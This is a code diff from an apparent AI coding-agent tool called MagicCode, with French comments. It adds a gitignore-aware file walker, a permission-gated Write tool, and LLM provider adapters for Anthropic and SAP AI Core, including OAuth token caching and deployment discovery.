export async function* walkFiles(root: string, signal?: AbortSignal): AsyncGenerator<string> {
|
||||||
|
yield* walk(root, [], signal);
|
||||||
|
}
|
||||||
|
|
||||||
|
async function* walk(dir: string, inherited: Scope[], signal?: AbortSignal): AsyncGenerator<string> {
|
||||||
|
if (signal?.aborted) return;
|
||||||
|
|
||||||
|
const local = await loadGitignore(dir);
|
||||||
|
const scopes = local ? [...inherited, local] : inherited;
|
||||||
|
|
||||||
|
let entries;
|
||||||
|
try {
|
||||||
|
entries = await readdir(dir, { withFileTypes: true });
|
||||||
|
} catch {
|
||||||
|
return; // dossier illisible : ignoré
|
||||||
|
}
|
||||||
|
entries.sort((a, b) => (a.name < b.name ? -1 : a.name > b.name ? 1 : 0));
|
||||||
|
|
||||||
|
for (const e of entries) {
|
||||||
|
if (ALWAYS_SKIPPED.has(e.name)) continue;
|
||||||
|
const abs = join(dir, e.name);
|
||||||
|
if (e.isDirectory()) {
|
||||||
|
if (isIgnored(abs, true, scopes)) continue;
|
||||||
|
yield* walk(abs, scopes, signal);
|
||||||
|
} else if (e.isFile()) {
|
||||||
|
if (isIgnored(abs, false, scopes)) continue;
|
||||||
|
yield abs;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
28
packages/ext-claudecode/src/tools/write.ts
Normal file
28
packages/ext-claudecode/src/tools/write.ts
Normal file
|
|
@ -0,0 +1,28 @@
|
||||||
|
import { mkdir, writeFile } from "node:fs/promises";
|
||||||
|
import { dirname } from "node:path";
|
||||||
|
import type { Tool } from "@magiccode/core";
|
||||||
|
import { resolvePath, str } from "./helpers";
|
||||||
|
|
||||||
|
export const writeTool: Tool = {
|
||||||
|
spec: {
|
||||||
|
name: "Write",
|
||||||
|
description: "Écrit un fichier (le crée ou écrase son contenu).",
|
||||||
|
inputSchema: {
|
||||||
|
type: "object",
|
||||||
|
properties: {
|
||||||
|
path: { type: "string", description: "Chemin du fichier : complet, ou relatif au dossier de lancement de MagicCode" },
|
||||||
|
content: { type: "string" },
|
||||||
|
},
|
||||||
|
required: ["path", "content"],
|
||||||
|
},
|
||||||
|
},
|
||||||
|
permission: "ask",
|
||||||
|
describe: (i) => String(i.path ?? ""),
|
||||||
|
async execute(input, ctx) {
|
||||||
|
const file = resolvePath(ctx.cwd, str(input, "path"));
|
||||||
|
const content = str(input, "content");
|
||||||
|
await mkdir(dirname(file), { recursive: true });
|
||||||
|
await writeFile(file, content, "utf8");
|
||||||
|
return `Fichier écrit : ${file} (${content.length} caractères)`;
|
||||||
|
},
|
||||||
|
};
|
||||||
4
packages/ext-claudecode/tsconfig.json
Normal file
4
packages/ext-claudecode/tsconfig.json
Normal file
|
|
@ -0,0 +1,4 @@
|
||||||
|
{
|
||||||
|
"extends": "../../tsconfig.base.json",
|
||||||
|
"include": ["src"]
|
||||||
|
}
|
||||||
12
packages/providers/package.json
Normal file
12
packages/providers/package.json
Normal file
|
|
@ -0,0 +1,12 @@
|
||||||
|
{
|
||||||
|
"name": "@magiccode/providers",
|
||||||
|
"version": "0.1.0",
|
||||||
|
"type": "module",
|
||||||
|
"main": "src/index.ts",
|
||||||
|
"types": "src/index.ts",
|
||||||
|
"scripts": { "typecheck": "tsc -p ." },
|
||||||
|
"dependencies": {
|
||||||
|
"@anthropic-ai/sdk": "^0.40.0",
|
||||||
|
"@magiccode/core": "workspace:*"
|
||||||
|
}
|
||||||
|
}
|
||||||
73
packages/providers/src/anthropic.ts
Normal file
73
packages/providers/src/anthropic.ts
Normal file
|
|
@ -0,0 +1,73 @@
|
||||||
|
import Anthropic from "@anthropic-ai/sdk";
|
||||||
|
import type { ChatRequest, LLMProvider, Message, StopReason, StreamEvent } from "@magiccode/core";
|
||||||
|
|
||||||
|
function toAnthropicMessages(messages: Message[]): Anthropic.MessageParam[] {
|
||||||
|
return messages.map((m) => ({
|
||||||
|
role: m.role,
|
||||||
|
content: m.content.map((b) => {
|
||||||
|
switch (b.type) {
|
||||||
|
case "text":
|
||||||
|
return { type: "text" as const, text: b.text };
|
||||||
|
case "tool_use":
|
||||||
|
return { type: "tool_use" as const, id: b.id, name: b.name, input: b.input };
|
||||||
|
case "tool_result":
|
||||||
|
return {
|
||||||
|
type: "tool_result" as const,
|
||||||
|
tool_use_id: b.toolUseId,
|
||||||
|
content: b.content,
|
||||||
|
is_error: b.isError ?? false,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}),
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
|
||||||
|
function toStopReason(r: string | null): StopReason {
|
||||||
|
if (r === "end_turn" || r === "tool_use" || r === "max_tokens") return r;
|
||||||
|
return "other";
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Utilise ANTHROPIC_API_KEY depuis l'environnement. */
|
||||||
|
export function createAnthropicProvider(model: string): LLMProvider {
|
||||||
|
const client = new Anthropic();
|
||||||
|
return {
|
||||||
|
id: "anthropic",
|
||||||
|
model,
|
||||||
|
capabilities: { tools: true },
|
||||||
|
async *chat(req: ChatRequest, signal?: AbortSignal): AsyncIterable<StreamEvent> {
|
||||||
|
const stream = client.messages.stream(
|
||||||
|
{
|
||||||
|
model,
|
||||||
|
max_tokens: req.maxTokens ?? 8192,
|
||||||
|
system: req.system,
|
||||||
|
tools: req.tools.map((t) => ({
|
||||||
|
name: t.name,
|
||||||
|
description: t.description,
|
||||||
|
input_schema: t.inputSchema as Anthropic.Tool.InputSchema,
|
||||||
|
})),
|
||||||
|
messages: toAnthropicMessages(req.messages),
|
||||||
|
},
|
||||||
|
{ signal },
|
||||||
|
);
|
||||||
|
|
||||||
|
for await (const ev of stream) {
|
||||||
|
if (ev.type === "content_block_delta" && ev.delta.type === "text_delta") {
|
||||||
|
yield { type: "text_delta", text: ev.delta.text };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const final = await stream.finalMessage();
|
||||||
|
for (const block of final.content) {
|
||||||
|
if (block.type === "tool_use") {
|
||||||
|
yield {
|
||||||
|
type: "tool_use",
|
||||||
|
id: block.id,
|
||||||
|
name: block.name,
|
||||||
|
input: block.input as Record<string, unknown>,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
yield { type: "done", stopReason: toStopReason(final.stop_reason) };
|
||||||
|
},
|
||||||
|
};
|
||||||
|
}
|
||||||
114
packages/providers/src/index.ts
Normal file
114
packages/providers/src/index.ts
Normal file
|
|
@ -0,0 +1,114 @@
|
||||||
|
import type { LLMProvider } from "@magiccode/core";
|
||||||
|
import { createAnthropicProvider } from "./anthropic";
|
||||||
|
import { createOpenAIProvider } from "./openai";
|
||||||
|
import { createOllamaProvider } from "./ollama";
|
||||||
|
import { createSapAiCoreProvider, listSapDeployments, type SapAiCoreOptions } from "./sapaicore";
|
||||||
|
|
||||||
|
export { createSapAiCoreProvider, listSapDeployments } from "./sapaicore";
|
||||||
|
|
||||||
|
/** Options communes : `baseDir` = dossier de lancement de MagicCode (base des chemins relatifs). */
|
||||||
|
export interface ProviderOptions {
|
||||||
|
baseDir?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Alias courts → identifiants réels. Pour "sapaicore", le nom du déploiement est utilisé tel quel. */
|
||||||
|
export const MODEL_ALIASES: Record<string, Record<string, string>> = {
|
||||||
|
anthropic: {
|
||||||
|
sonnet: "claude-sonnet-5-5",
|
||||||
|
opus: "claude-opus-5-5",
|
||||||
|
haiku: "claude-haiku-5-5",
|
||||||
|
},
|
||||||
|
openai: { gpt: "gpt-4.1" }, // TODO : vérifier l'identifiant à utiliser
|
||||||
|
ollama: { default: "llama3.1" },
|
||||||
|
};
|
||||||
|
|
||||||
|
export interface ModelChoice {
|
||||||
|
value: string; // "provider:modèle"
|
||||||
|
label: string;
|
||||||
|
hint?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Modèles réellement déployés sur le service SAP AI Core (appel réseau). */
|
||||||
|
export async function listSapModelChoices(opts?: SapAiCoreOptions): Promise<ModelChoice[]> {
|
||||||
|
const deployments = await listSapDeployments(opts);
|
||||||
|
return deployments
|
||||||
|
.filter((d) => d.type !== "other")
|
||||||
|
.map((d) => ({
|
||||||
|
value: `sapaicore:${d.name}`,
|
||||||
|
label: `${d.name}${d.version ? ` (${d.version})` : ""}`,
|
||||||
|
hint: "SAP AI Core",
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
|
||||||
|
/** API Anthropic directe : proposée seulement si ANTHROPIC_API_KEY est définie. */
|
||||||
|
async function listAnthropicModelChoices(): Promise<ModelChoice[]> {
|
||||||
|
if (!process.env.ANTHROPIC_API_KEY) return [];
|
||||||
|
return [
|
||||||
|
{ value: "anthropic:sonnet", label: "Claude Sonnet", hint: "API Anthropic" },
|
||||||
|
{ value: "anthropic:opus", label: "Claude Opus", hint: "API Anthropic" },
|
||||||
|
{ value: "anthropic:haiku", label: "Claude Haiku", hint: "API Anthropic" },
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Chaque provider prêt à l'emploi expose ses modèles disponibles ici.
|
||||||
|
* (openai et ollama seront ajoutés quand leurs adaptateurs seront implémentés.)
|
||||||
|
*/
|
||||||
|
const PROVIDER_CATALOGS: { name: string; load(opts?: ProviderOptions): Promise<ModelChoice[]> }[] = [
|
||||||
|
{ name: "SAP AI Core", load: (opts) => listSapModelChoices({ baseDir: opts?.baseDir }) },
|
||||||
|
{ name: "Anthropic", load: listAnthropicModelChoices },
|
||||||
|
];
|
||||||
|
|
||||||
|
export interface ModelCatalog {
|
||||||
|
choices: ModelChoice[];
|
||||||
|
/** Providers dont le chargement a échoué (non bloquant). */
|
||||||
|
errors: string[];
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Interroge tous les providers en parallèle et agrège les modèles disponibles. */
|
||||||
|
export async function loadModelChoices(opts?: ProviderOptions): Promise<ModelCatalog> {
|
||||||
|
const results = await Promise.allSettled(PROVIDER_CATALOGS.map((c) => c.load(opts)));
|
||||||
|
const choices: ModelChoice[] = [];
|
||||||
|
const errors: string[] = [];
|
||||||
|
results.forEach((r, i) => {
|
||||||
|
const name = PROVIDER_CATALOGS[i]!.name;
|
||||||
|
if (r.status === "fulfilled") choices.push(...r.value);
|
||||||
|
else errors.push(`${name} : ${(r.reason as Error).message}`);
|
||||||
|
});
|
||||||
|
return { choices, errors };
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* "sapaicore" (premier modèle disponible), "sapaicore:anthropic--claude-4.5-sonnet",
|
||||||
|
* "anthropic:sonnet", "ollama:mistral", ou "sonnet" (provider déduit de l'alias).
|
||||||
|
*/
|
||||||
|
export function parseModelSpec(spec: string): { provider: string; model: string } {
|
||||||
|
if (spec === "sapaicore") return { provider: "sapaicore", model: "" };
|
||||||
|
const idx = spec.indexOf(":");
|
||||||
|
if (idx > 0) {
|
||||||
|
const provider = spec.slice(0, idx);
|
||||||
|
const name = spec.slice(idx + 1);
|
||||||
|
return { provider, model: MODEL_ALIASES[provider]?.[name] ?? name };
|
||||||
|
}
|
||||||
|
for (const [provider, aliases] of Object.entries(MODEL_ALIASES)) {
|
||||||
|
const model = aliases[spec];
|
||||||
|
if (model) return { provider, model };
|
||||||
|
}
|
||||||
|
throw new Error(`Modèle inconnu : "${spec}" (format attendu : provider:modèle)`);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function createProvider(spec: string, opts?: ProviderOptions): LLMProvider {
|
||||||
|
const { provider, model } = parseModelSpec(spec);
|
||||||
|
switch (provider) {
|
||||||
|
case "sapaicore":
|
||||||
|
return createSapAiCoreProvider(model, { baseDir: opts?.baseDir });
|
||||||
|
case "anthropic":
|
||||||
|
return createAnthropicProvider(model);
|
||||||
|
case "openai":
|
||||||
|
return createOpenAIProvider(model);
|
||||||
|
case "ollama":
|
||||||
|
return createOllamaProvider(model);
|
||||||
|
default:
|
||||||
|
throw new Error(`Provider inconnu : "${provider}"`);
|
||||||
|
}
|
||||||
|
}
|
||||||
8
packages/providers/src/ollama.ts
Normal file
8
packages/providers/src/ollama.ts
Normal file
|
|
@ -0,0 +1,8 @@
|
||||||
|
import type { LLMProvider } from "@magiccode/core";
|
||||||
|
|
||||||
|
// TODO : implémenter via l'API HTTP locale (http://localhost:11434/api/chat, stream NDJSON).
|
||||||
|
// Prévoir un mode dégradé : tous les modèles Ollama ne supportent pas les outils
|
||||||
|
// (capabilities.tools = false → avertir l'utilisateur).
|
||||||
|
export function createOllamaProvider(_model: string): LLMProvider {
|
||||||
|
throw new Error("Provider Ollama pas encore implémenté");
|
||||||
|
}
|
||||||
8
packages/providers/src/openai.ts
Normal file
8
packages/providers/src/openai.ts
Normal file
|
|
@ -0,0 +1,8 @@
|
||||||
|
import type { LLMProvider } from "@magiccode/core";
|
||||||
|
|
||||||
|
// TODO : implémenter avec le SDK `openai` (chat completions en streaming).
|
||||||
|
// Il faut convertir : messages neutres → format OpenAI, tool_use ↔ tool_calls,
|
||||||
|
// et normaliser le streaming en StreamEvent.
|
||||||
|
export function createOpenAIProvider(_model: string): LLMProvider {
|
||||||
|
throw new Error("Provider OpenAI pas encore implémenté");
|
||||||
|
}
|
||||||
68
packages/providers/src/sapaicore/auth.ts
Normal file
68
packages/providers/src/sapaicore/auth.ts
Normal file
|
|
@ -0,0 +1,68 @@
|
||||||
|
import type { BtpAiConfig } from "./config";
|
||||||
|
import { safeReadText } from "./http";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Récupère un token de session (OAuth client_credentials) auprès du service.
|
||||||
|
*
|
||||||
|
* GET {config.url}/oauth/token?grant_type=client_credentials
|
||||||
|
* Header: Authorization: Basic {config.basic}
|
||||||
|
* Réponse attendue: { access_token: "...", expires_in?: number, ... }
|
||||||
|
*/
|
||||||
|
export async function fetchToken(
|
||||||
|
config: BtpAiConfig,
|
||||||
|
): Promise<{ accessToken: string; expiresIn?: number }> {
|
||||||
|
const tokenUrl = new URL(`${config.url.replace(/\/+$/, "")}/oauth/token`);
|
||||||
|
tokenUrl.searchParams.set("grant_type", "client_credentials");
|
||||||
|
|
||||||
|
const response = await fetch(tokenUrl, {
|
||||||
|
method: "GET",
|
||||||
|
headers: { Authorization: `Basic ${config.basic}` },
|
||||||
|
});
|
||||||
|
|
||||||
|
if (!response.ok) {
|
||||||
|
const body = await safeReadText(response);
|
||||||
|
throw new Error(
|
||||||
|
`Échec de récupération du token de session (HTTP ${response.status} ${response.statusText}). ${body}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const data = (await response.json()) as { access_token?: string; expires_in?: number };
|
||||||
|
if (!data.access_token) {
|
||||||
|
throw new Error(
|
||||||
|
"La réponse du service d'authentification ne contient pas de champ 'access_token'.",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return { accessToken: data.access_token, expiresIn: data.expires_in };
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function fetchSessionToken(config: BtpAiConfig): Promise<string> {
|
||||||
|
return (await fetchToken(config)).accessToken;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Token mis en cache jusqu'à son expiration (marge de 60 s), renouvelé à la demande. */
|
||||||
|
export function createTokenProvider(config: BtpAiConfig) {
|
||||||
|
let cached: { token: string; expiresAt: number } | undefined;
|
||||||
|
let pending: Promise<string> | undefined;
|
||||||
|
|
||||||
|
const refresh = async (): Promise<string> => {
|
||||||
|
const { accessToken, expiresIn } = await fetchToken(config);
|
||||||
|
const ttl = Math.max((expiresIn ?? 300) - 60, 30);
|
||||||
|
cached = { token: accessToken, expiresAt: Date.now() + ttl * 1000 };
|
||||||
|
return accessToken;
|
||||||
|
};
|
||||||
|
|
||||||
|
return {
|
||||||
|
async get(): Promise<string> {
|
||||||
|
if (cached && Date.now() < cached.expiresAt) return cached.token;
|
||||||
|
pending ??= refresh().finally(() => {
|
||||||
|
pending = undefined;
|
||||||
|
});
|
||||||
|
return pending;
|
||||||
|
},
|
||||||
|
invalidate(): void {
|
||||||
|
cached = undefined;
|
||||||
|
},
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
export type TokenProvider = ReturnType<typeof createTokenProvider>;
|
||||||
87
packages/providers/src/sapaicore/claude.ts
Normal file
87
packages/providers/src/sapaicore/claude.ts
Normal file
|
|
@ -0,0 +1,87 @@
|
||||||
|
import type { ChatRequest, StopReason, StreamEvent } from "@magiccode/core";
|
||||||
|
|
||||||
|
// Claude sur AI Core = déploiement AWS Bedrock → API Converse : POST {deploymentUrl}/converse
|
||||||
|
|
||||||
|
type ConverseBlock =
|
||||||
|
| { text: string }
|
||||||
|
| { toolUse: { toolUseId: string; name: string; input: Record<string, unknown> } }
|
||||||
|
| {
|
||||||
|
toolResult: {
|
||||||
|
toolUseId: string;
|
||||||
|
content: { text: string }[];
|
||||||
|
status: "success" | "error";
|
||||||
|
};
|
||||||
|
};
|
||||||
|
|
||||||
|
export function buildConverseBody(req: ChatRequest): Record<string, unknown> {
|
||||||
|
const messages = req.messages.map((m) => ({
|
||||||
|
role: m.role,
|
||||||
|
content: m.content.flatMap((b): ConverseBlock[] => {
|
||||||
|
switch (b.type) {
|
||||||
|
case "text":
|
||||||
|
return b.text ? [{ text: b.text }] : []; // Bedrock refuse les blocs texte vides
|
||||||
|
case "tool_use":
|
||||||
|
return [{ toolUse: { toolUseId: b.id, name: b.name, input: b.input } }];
|
||||||
|
case "tool_result":
|
||||||
|
return [
|
||||||
|
{
|
||||||
|
toolResult: {
|
||||||
|
toolUseId: b.toolUseId,
|
||||||
|
content: [{ text: b.content || "(vide)" }],
|
||||||
|
status: b.isError ? "error" : "success",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
];
|
||||||
|
}
|
||||||
|
}),
|
||||||
|
}));
|
||||||
|
|
||||||
|
const body: Record<string, unknown> = {
|
||||||
|
system: [{ text: req.system }],
|
||||||
|
messages,
|
||||||
|
inferenceConfig: { maxTokens: req.maxTokens ?? 8192 },
|
||||||
|
};
|
||||||
|
if (req.tools.length > 0) {
|
||||||
|
body.toolConfig = {
|
||||||
|
tools: req.tools.map((t) => ({
|
||||||
|
toolSpec: {
|
||||||
|
name: t.name,
|
||||||
|
description: t.description,
|
||||||
|
inputSchema: { json: t.inputSchema },
|
||||||
|
},
|
||||||
|
})),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
return body;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface ConverseResponse {
|
||||||
|
output?: {
|
||||||
|
message?: {
|
||||||
|
content?: { text?: string; toolUse?: { toolUseId: string; name: string; input?: Record<string, unknown> } }[];
|
||||||
|
};
|
||||||
|
};
|
||||||
|
stopReason?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function parseConverseResponse(json: unknown): StreamEvent[] {
|
||||||
|
const res = json as ConverseResponse;
|
||||||
|
const events: StreamEvent[] = [];
|
||||||
|
for (const block of res.output?.message?.content ?? []) {
|
||||||
|
if (block.text) events.push({ type: "text_delta", text: block.text });
|
||||||
|
if (block.toolUse) {
|
||||||
|
events.push({
|
||||||
|
type: "tool_use",
|
||||||
|
id: block.toolUse.toolUseId,
|
||||||
|
name: block.toolUse.name,
|
||||||
|
input: block.toolUse.input ?? {},
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
const stop: StopReason =
|
||||||
|
res.stopReason === "end_turn" || res.stopReason === "tool_use" || res.stopReason === "max_tokens"
|
||||||
|
? res.stopReason
|
||||||
|
: "other";
|
||||||
|
events.push({ type: "done", stopReason: stop });
|
||||||
|
return events;
|
||||||
|
}
|
||||||
56
packages/providers/src/sapaicore/config.ts
Normal file
56
packages/providers/src/sapaicore/config.ts
Normal file
|
|
@ -0,0 +1,56 @@
|
||||||
|
import { readFile } from "node:fs/promises";
|
||||||
|
import { resolve } from "node:path";
|
||||||
|
|
||||||
|
export interface BtpAiConfig {
|
||||||
|
/** URL de base pour récupérer le token (on y ajoute /oauth/token). */
|
||||||
|
url: string;
|
||||||
|
/** Token Basic déjà encodé, envoyé dans le header Authorization. */
|
||||||
|
basic: string;
|
||||||
|
serviceurls: {
|
||||||
|
/** URL de base de l'API AI Core (liste des déploiements). */
|
||||||
|
AI_API_URL: string;
|
||||||
|
};
|
||||||
|
/** Optionnel : resource group AI Core (défaut : "default"). */
|
||||||
|
resourceGroup?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const DEFAULT_CONFIG_PATH = "./btp_AI.json";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Charge et valide le fichier JSON de configuration du service AI
|
||||||
|
* (type SAP AI Core / Generative AI Hub). Voir btp_AI_tpl.json.
|
||||||
|
*/
|
||||||
|
export async function loadConfig(configPath: string, baseDir: string = process.cwd()): Promise<BtpAiConfig> {
|
||||||
|
// Chemin relatif : résolu depuis le dossier de lancement de MagicCode (baseDir) ; chemin complet : tel quel.
|
||||||
|
const absolutePath = resolve(baseDir, configPath);
|
||||||
|
|
||||||
|
let raw: string;
|
||||||
|
try {
|
||||||
|
raw = await readFile(absolutePath, "utf-8");
|
||||||
|
} catch (err) {
|
||||||
|
throw new Error(
|
||||||
|
`Impossible de lire le fichier de configuration "${absolutePath}" : ${(err as Error).message}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
let config: Partial<BtpAiConfig>;
|
||||||
|
try {
|
||||||
|
config = JSON.parse(raw) as Partial<BtpAiConfig>;
|
||||||
|
} catch (err) {
|
||||||
|
throw new Error(
|
||||||
|
`Le fichier de configuration "${absolutePath}" n'est pas un JSON valide : ${(err as Error).message}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const missing: string[] = [];
|
||||||
|
if (!config.url) missing.push("url");
|
||||||
|
if (!config.basic) missing.push("basic");
|
||||||
|
if (!config.serviceurls?.AI_API_URL) missing.push("serviceurls.AI_API_URL");
|
||||||
|
if (missing.length > 0) {
|
||||||
|
throw new Error(
|
||||||
|
`Champ(s) manquant(s) dans le fichier de configuration : ${missing.join(", ")}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
return config as BtpAiConfig;
|
||||||
|
}
|
||||||
129
packages/providers/src/sapaicore/deployments.ts
Normal file
129
packages/providers/src/sapaicore/deployments.ts
Normal file
|
|
@ -0,0 +1,129 @@
|
||||||
|
import type { BtpAiConfig } from "./config";
|
||||||
|
import { safeReadText } from "./http";
|
||||||
|
|
||||||
|
export const DEFAULT_RESOURCE_GROUP = "default";
|
||||||
|
|
||||||
|
/** Famille de modèle : détermine l'API à appeler sur le déploiement. */
|
||||||
|
export type ModelType = "claude" | "openai" | "other";
|
||||||
|
|
||||||
|
export interface Deployment {
|
||||||
|
id: string;
|
||||||
|
name: string;
|
||||||
|
version: string | null;
|
||||||
|
deploymentUrl: string;
|
||||||
|
type: ModelType;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Hypothèse (la fonction n'était pas dans les samples) :
|
||||||
|
* - anthropic--* / claude → Claude (AWS Bedrock, API Converse)
|
||||||
|
* - gpt*, o1/o3/o4… → OpenAI (Azure OpenAI, chat/completions)
|
||||||
|
* - le reste (gemini, embeddings, mistral…) → non pris en charge pour l'instant
|
||||||
|
*/
|
||||||
|
export function detectModelType(name: string): ModelType {
|
||||||
|
const n = name.toLowerCase();
|
||||||
|
if (n.startsWith("anthropic--") || n.includes("claude")) return "claude";
|
||||||
|
if (/^(gpt|chatgpt|o\d)/.test(n)) return "openai";
|
||||||
|
return "other";
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Liste les modèles/déploiements disponibles.
|
||||||
|
*
|
||||||
|
* GET {AI_API_URL}/v2/lm/deployments
|
||||||
|
* Headers: Authorization: Bearer {token}, AI-Resource-Group
|
||||||
|
*/
|
||||||
|
export async function listDeployments(config: BtpAiConfig, token: string): Promise<Deployment[]> {
|
||||||
|
const url = `${config.serviceurls.AI_API_URL.replace(/\/+$/, "")}/v2/lm/deployments`;
|
||||||
|
|
||||||
|
const response = await fetch(url, {
|
||||||
|
method: "GET",
|
||||||
|
headers: {
|
||||||
|
Authorization: `Bearer ${token}`,
|
||||||
|
"AI-Resource-Group": config.resourceGroup ?? DEFAULT_RESOURCE_GROUP,
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
if (!response.ok) {
|
||||||
|
const body = await safeReadText(response);
|
||||||
|
throw new Error(
|
||||||
|
`Échec de récupération de la liste des modèles (HTTP ${response.status} ${response.statusText}). ${body}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const data = (await response.json()) as { resources?: RawDeployment[] };
|
||||||
|
const resources = Array.isArray(data.resources) ? data.resources : [];
|
||||||
|
|
||||||
|
const deployments = resources
|
||||||
|
.filter((r) => r.deploymentUrl)
|
||||||
|
.map((r): Deployment => {
|
||||||
|
const model = extractModelInfo(r);
|
||||||
|
const name = model?.name ?? r.configurationName ?? r.id ?? "(nom inconnu)";
|
||||||
|
return {
|
||||||
|
id: r.id ?? r.deploymentUrl!,
|
||||||
|
name,
|
||||||
|
version: model?.version ?? null,
|
||||||
|
deploymentUrl: r.deploymentUrl!,
|
||||||
|
type: detectModelType(name),
|
||||||
|
};
|
||||||
|
});
|
||||||
|
|
||||||
|
if (deployments.length === 0) {
|
||||||
|
throw new Error(
|
||||||
|
"Aucun modèle déployé (avec deploymentUrl) n'a été trouvé pour ce service/resource group.",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return deployments;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Choisit le déploiement : nom/id exact, sinon nom partiel. Vide ou "auto" → premier
|
||||||
|
* déploiement de chat pris en charge.
|
||||||
|
*/
|
||||||
|
export function findDeployment(deployments: Deployment[], wanted: string): Deployment {
|
||||||
|
const w = wanted.trim().toLowerCase();
|
||||||
|
const usable = deployments.filter((d) => d.type !== "other");
|
||||||
|
|
||||||
|
if (!w || w === "auto") {
|
||||||
|
const first = usable[0];
|
||||||
|
if (!first) {
|
||||||
|
throw new Error("Aucun déploiement de chat pris en charge (Claude ou GPT) n'a été trouvé.");
|
||||||
|
}
|
||||||
|
return first;
|
||||||
|
}
|
||||||
|
|
||||||
|
const found =
|
||||||
|
usable.find((d) => d.name.toLowerCase() === w || d.id.toLowerCase() === w) ??
|
||||||
|
usable.find((d) => d.name.toLowerCase().includes(w));
|
||||||
|
if (!found) {
|
||||||
|
throw new Error(
|
||||||
|
`Modèle "${wanted}" introuvable. Disponibles : ${usable.map((d) => d.name).join(", ") || "(aucun)"}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return found;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface RawModel {
|
||||||
|
name?: string;
|
||||||
|
version?: string | null;
|
||||||
|
}
|
||||||
|
interface RawDeployment {
|
||||||
|
id?: string;
|
||||||
|
deploymentUrl?: string;
|
||||||
|
configurationName?: string;
|
||||||
|
details?: { resources?: { backend_details?: { model?: RawModel }; backendDetails?: { model?: RawModel } } };
|
||||||
|
backend_details?: { model?: RawModel };
|
||||||
|
backendDetails?: { model?: RawModel };
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Chemin confirmé "details.resources.backend_details.model", avec variantes de repli. */
|
||||||
|
function extractModelInfo(r: RawDeployment): { name: string; version: string | null } | null {
|
||||||
|
const candidates = [
|
||||||
|
r.details?.resources?.backend_details?.model,
|
||||||
|
r.details?.resources?.backendDetails?.model,
|
||||||
|
r.backend_details?.model,
|
||||||
|
r.backendDetails?.model,
|
||||||
|
];
|
||||||
|
const found = candidates.find((c) => c?.name);
|
||||||
|
return found?.name ? { name: found.name, version: found.version ?? null } : null;
|
||||||
|
}
|
||||||
44
packages/providers/src/sapaicore/http.ts
Normal file
44
packages/providers/src/sapaicore/http.ts
Normal file
|
|
@ -0,0 +1,44 @@
|
||||||
|
export class HttpError extends Error {
|
||||||
|
constructor(
|
||||||
|
public readonly status: number,
|
||||||
|
message: string,
|
||||||
|
) {
|
||||||
|
super(message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function safeReadText(response: Response): Promise<string> {
|
||||||
|
try {
|
||||||
|
return await response.text();
|
||||||
|
} catch {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** POST JSON avec token Bearer et resource group AI Core. */
|
||||||
|
export async function postJson(
|
||||||
|
url: string,
|
||||||
|
token: string,
|
||||||
|
resourceGroup: string,
|
||||||
|
body: unknown,
|
||||||
|
signal?: AbortSignal,
|
||||||
|
): Promise<unknown> {
|
||||||
|
const response = await fetch(url, {
|
||||||
|
method: "POST",
|
||||||
|
headers: {
|
||||||
|
Authorization: `Bearer ${token}`,
|
||||||
|
"AI-Resource-Group": resourceGroup,
|
||||||
|
"Content-Type": "application/json",
|
||||||
|
},
|
||||||
|
body: JSON.stringify(body),
|
||||||
|
signal,
|
||||||
|
});
|
||||||
|
if (!response.ok) {
|
||||||
|
const text = await safeReadText(response);
|
||||||
|
throw new HttpError(
|
||||||
|
response.status,
|
||||||
|
`Échec de l'appel au modèle (HTTP ${response.status} ${response.statusText}). ${text}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return response.json();
|
||||||
|
}
|
||||||
106
packages/providers/src/sapaicore/index.ts
Normal file
106
packages/providers/src/sapaicore/index.ts
Normal file
|
|
@ -0,0 +1,106 @@
|
||||||
|
import type { ChatRequest, LLMProvider, StreamEvent } from "@magiccode/core";
|
||||||
|
import { createTokenProvider, type TokenProvider } from "./auth";
|
||||||
|
import { buildConverseBody, parseConverseResponse } from "./claude";
|
||||||
|
import { DEFAULT_CONFIG_PATH, loadConfig, type BtpAiConfig } from "./config";
|
||||||
|
import {
|
||||||
|
DEFAULT_RESOURCE_GROUP,
|
||||||
|
findDeployment,
|
||||||
